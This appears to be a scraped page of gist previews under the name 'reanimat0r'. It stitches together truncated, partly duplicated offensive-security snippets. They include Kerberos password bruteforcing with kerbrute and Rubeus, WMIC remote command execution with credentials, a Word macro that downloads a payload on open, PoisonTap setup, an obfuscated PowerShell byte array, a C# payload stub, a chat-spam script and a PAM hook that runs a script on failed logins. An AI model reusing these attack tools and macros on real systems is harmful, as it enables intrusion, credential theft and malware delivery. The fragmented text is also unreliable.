reanimat0r

Kerberos cheatsheet

Bruteforcing

With kerbrute.py:

python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>

With Rubeus version with brute module:

reanimat0r

Kerberos cheatsheet

Bruteforcing

With kerbrute.py:

python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>

With Rubeus version with brute module:

reanimat0r

As always, only for use on networks you own or have permission to test against. 

Similar functionality to SpiderLabs SCShell (https://github.com/SpiderLabs/SCShell) but from the command line using WMIC to run commands on other systems remotely.
If attempting to run multiple commands, SCShell will probably be move convenient as it automates the below steps.  However, for one-offs this works fine as well.

The process involves a total of four commands, three of which can be combined on the command line to form one large block.

Step 1: Get the current pathName of your target service so we can restore it once we've ran our command (in our case XblAuthManager)
    wmic /user:DOMAIN\USERNAME /password:PASSWORD /node:TARGET_IP service where name='XblAuthManager' get pathName

reanimat0r

using System;
using System.IO;
using System.Net;
using System.Diagnostics;
using System.IO.Compression;
using System.Runtime.InteropServices;

public class Payload
{
    public Payload()

reanimat0r

document.getElementsByClassName("input")[1].innerHTML="This message was written via JS script! "; // Fills the text box message
var input = document.getElementsByClassName("icon btn-icon icon-send");//Grabs the send button
input[0].click();// Clicks the send button

reanimat0r

// Are you new to Javascript?
//Just copy, open firefox (did not work on Google Chrome for me)
//press f12, go console tab, paste, change according to instructions and press enter
//Thank you rafaelxavierborges  for providing the message sending code
//I have just turned it into a spammer that counts from 0 and send the next number every second
var t=0; //what is the first number you want to send
var i=1; //delay in seconds
setInterval(function(){ 
	window.InputEvent = window.Event || window.InputEvent; 
	var d = new Date(); 

reanimat0r

Sub AutoOpen()
    Auto_Open
End Sub

Sub Auto_Open()
    payloadURL = "<Download URL>"
    Dim req: Set req = CreateObject("Microsoft.XMLHTTP")
    Dim payloadStream: Set payloadStream = CreateObject("Adodb.Stream")
    req.Open "GET", payloadURL, False
    req.Send

reanimat0r

##Server:
sudo apt-get update && apt-get upgrade
sudo apt-get install screen nodejs nodejs-legacy git npm
sudo npm install websocket
git clone https://github.com/samyk/poisontap
screen
sudo node backend_server.js 

##piZero:
sudo apt-get update && apt-get upgrade

reanimat0r

$a = @(85,87,112,80,64,64,76,64,64,64,64,68,64,64,64,64,46,46,57,64,64,77,102,64,64,64,64,64,64,64,64,64,80,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,102,64,64,64,64,64,53,103,116,102,53,64,117,64,111,79,72,99,102,67,85,76,49,105,87,70,105,113,98,120,67,118,98,108,56,111,98,108,71,117,72,70,79,105,99,108,52,119,101,66,67,104,91,82,67,120,101,86,53,102,96,86,53,102,83,68,56,85,72,70,48,119,91,70,84,116,69,80,49,74,75,64,64,64,64,64,64,64,64,64,67,80,83,80,64,64,85,64,68,69,64,77,117,66,77,109,118,64,64,64,64,64,64,64,64,64,64,78,64,64,72,104,64,77,64,85,64,64,64,64,53,64,64,64,64,70,64,64,64,64,64,64,64,64,66,104,118,64,64,64,64,102,64,64,64,64,80,64,64,64,64,64,64,64,68,64,64,102,64,64,64,64,64,102,64,64,67,64,64,64,64,64,64,64,64,64,64,70,64,64,64,64,64,64,64,64,64,64,66,64,64,64,64,64,64,102,64,64,64,64,64,64,64,64,76,64,88,72,84,64,64,67,64,64,64,67,64,64,64,64,64,64,68,64,64,64,68,64,64,64,64,64,64,64,64,67,

reanimat0r

#/etc/pam.d/system-auth
#%PAM-1.0

# Jump two rules if login succeeds.
auth    [success=2 default=ignore]      pam_unix.so nullok_secure
auth    optional                        pam_exec.so /home/pamcam.sh
auth    requisite                       pam_deny.so

# User gets here if authentication is successful. No denying, no cam module.
auth      required  pam_unix.so     try_first_pass nullok